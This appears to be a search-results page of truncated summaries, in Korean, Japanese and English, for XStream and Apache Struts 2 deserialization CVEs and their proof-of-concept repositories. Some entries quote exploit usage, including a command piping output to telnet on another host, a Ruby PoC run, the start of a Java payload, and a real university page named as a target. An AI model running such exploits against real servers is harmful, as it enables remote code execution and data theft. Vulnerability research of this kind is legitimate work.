1706 matches found
CVE-2017-9805
CVE-2017-9805: Apache Struts 2 S2-052 RCE 분석 이 저장소는 Apache Struts 2 S2-052의 XStream 역직렬화 취약점에 대한 기술적 세부 정보와 PoC개념 증명 작업을 포함합니다. 📌 취약점 정보 CVE 코드: CVE-2017-9805 취약점 유형: 원격 코드 실행 RCE 위험 수준: CRITICAL 9.8/10 대상 분석: Harvard University - OTD http://otd.harvard.edu/contact-us/ 🔍 기술 개요 이 취약점은 Apache Strut...
CVE-2020-26258
설명 XStream은 객체를 XML로 직렬화하고 다시 역직렬화하는 Java 라이브러리입니다. 1.4.15 이전 버전의 XStream에서는 언마샬링unmarshalling 시 서버 측 요청 위조Server-Side Forgery Request 취약점이 활성화될 수 있습니다. 이 취약점으로 인해 원격 공격자는 처리된 입력 스트림만 조작하여 공개적으로 접근할 수 없는 내부 리소스에서 데이터를 요청할 수 있습니다. XStream Security Framework의 기본 블랙리스트에 의존하는 경우 최소한 1.4.15 버전을 사용해야...
CVE-2021-21341
CVE-2021-21341 XStream DoS XStream 公式発表 CVE-2021-21341 脆弱性 CVE-2021-21341: XStream はサービス拒否 DoS を引き起こす可能性があります。 影響を受けるバージョン バージョン 1.4.15 以前のすべてのバージョンは、標準設定のまま使用している場合に影響を受けます。XStream のセキュリティフレームワークを、必要最小限の型に限定したホワイトリストで設定するという推奨事項に従ったユーザーは影響を受けません。 説明...
CVE-2017-9805
CVE-2017-9805 CVE-2017-9805 POC この問題は、RESTプラグインで使用されるデシリアライゼーションクラスに対するフィルタリングの欠如に起因します。StrutsはXstreamを使用しており、複数の場所でデシリアライゼーションに対して多くのフィルタリングを適用していますが、RESTプラグインではこのフィルタリングが適用されていませんでした。...
CVE-2020-26217-XStream-RCE-POC
CVE-2020-26217-XStream-RCE-POC 예시 package org.example; import com.thoughtworks.xstream.XStream; import java.io.IOException; public class CVE202026217 public static void mainString args throws IOException XStream xStream = new XStream; String payload = "\n" + " \n" + " \n" + " 0\n" + " \n" + " \n"...
XStream 1.4.18 - Arbitrary Code Execution
XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the...
XStream <1.4.18 - Server-Side Request Forgery
XStream before 1.4.18 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream with a Java runtime version 14 to 8. This makes it possible to obtain sensitive information, modify...
XStream <1.4.6/1.4.10 - Remote Code Execution
Xstream API before 1.4.6 and 1.4.10 is susceptible to remote code execution. If the security framework has not been initialized, an attacker can run arbitrary shell commands by manipulating the processed input stream when unmarshaling XML or any supported format. This can allow an attacker to...
XStream 1.4.18 - Remote Code Execution
XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the...
x-stream__xstream_CVE-2021-21345_1-4-15
master: v-1.4.x: XStream JavaからXMLへのシリアライゼーション、そして元に戻す バイナリ すべてのバイナリアーティファクトは-binアーカイブにバンドルされています。含まれるもの: XStreamのjarファイルとビルド時に使用されるその他のライブラリ、または オプションのランタイムエクストラです。Xpp3の使用が推奨されます。これは XStreamのパフォーマンスを大幅に向上させるためです。 ドキュメント ドキュメントはGitHubにあります。これには以下が含まれます: はじめにとチュートリアル JavaDoc 変更履歴 よくある質問 ソース...
x-stream__xstream_CVE-2020-26217_1-4-14-java77
master: v-1.4.x: XStream Java를 XML로 직렬화, 그리고 다시 되돌리기 바이너리 모든 바이너리 아티팩트는 -bin 아카이브에 포함되어 있습니다. 여기에는 XStream jar와 빌드 시 사용된 다른 라이브러리 또는 선택적 런타임 확장이 포함됩니다. MXParser를 사용하면 XStream의 성능이 크게 향상되므로 권장됩니다. 문서 문서는 GitHub에서 확인할 수 있습니다. 다음을 포함합니다: 소개 및 튜토리얼 JavaDoc 변경 이력 자주 묻는 질문 보안 소스 XStream의 전체 소스는 -src...
CVE-2021-21349
CVE-2021-21349 XStream SSRF XStream 공식 발표 CVE-2021-21349 취약점 CVE-2021-21349: XStream으로 언마샬링하면 서버 측 위조 요청Server-Side Forgery Request이 활성화되어 인트라넷 또는 로컬 호스트의 리소스를 참조하는 임의의 URL의 데이터 스트림에 접근할 수 있습니다. 영향을 받는 버전 기본 제공 버전을 사용하는 경우 1.4.15를 포함한 모든 버전이 영향을 받습니다. 최소 필수 유형으로 제한된 화이트리스트로 XStream의 보안 프레임워크를 설정하...
-CVE-2017-9805-
취약점 정보 Resources: https://vulners.com/cve/CVE-2017-9805 이게 무엇인가요? 파이썬 익스플로잇 스크립트로, S2-052에 취약한 Struts2를 호스팅하는 시스템의 셸에서 원격 명령을 실행할 수 있습니다. 사용법 python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" Apache Struts XStream REST vulnerability -...
Xstream-1.4.17
Xstream-1.4.17 (上記のXstream Demo環境は本人が構築したもので、脆弱性の悪用環境はJDK1.8u131を基準としています。現在はローカルテストとHTTPリモートでのパケット送信に対応しています) XSTREAM=1.4.17 の脆弱性再現(CVE-2021-39141、CVE-2021-39144、CVE-2021-39150、CVE-2021-39152)...
struts2-rce-cve-2017-9805-ruby
Struts2 취약점 - CVE-2017-9805 설명 Apache Struts2 REST 플러그인 XStream RCE CVE-2017-9805 사용법 Usage: cve20179805poc.rb targeturi cmd ruby cve20179805poc.rb 127.0.0.1 ping -c 4 192.168.0.1...
CVE-2020-26259
CVE-2020-26259 CVE-2020-26259: XStream1.4.14는 역직렬화 시 로컬 호스트에서 임의 파일 삭제에 취약하며, 실행 중인 프로세스가 충분한 권한을 가지고 있는 경우에 해당합니다. https://x-stream.github.io/CVE-2020-26259.html XStream 1.4.14 pom.xml com.thoughtworks.xstream xstream 1.4.14 POC https://x-stream.github.io/CVE-2020-26259.html 0 text/plain...
CVE-2021-29505
再現手順 IDEAでxstreamコンポーネントのjarパッケージをインポートします。今回の再現ではCommonsCollections6チェーンを使用して悪用するため、commons-collectionsコンポーネントのjarパッケージをインポートします。POCの詳細は添付ファイルを参照してください。 まず、ysoserialを使用して悪意のあるRMIサーバーを起動し、リスニングを行います。そして、CommonsCollections6チェーンを利用してコマンドを実行します。以下に示します: java -cp .\ysoserial.jar...
XStream < 1.4.16 - Remote Code Execution
XStream before 1.4.16 is susceptible to remote code execution. An attacker who has sufficient rights can execute host commands via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operation...
XStream <1.4.17 - Remote Code Execution
XStream before 1.4.17 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of...
XStream <1.4.15 - Server-Side Request Forgery
XStream before 1.4.15 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorize...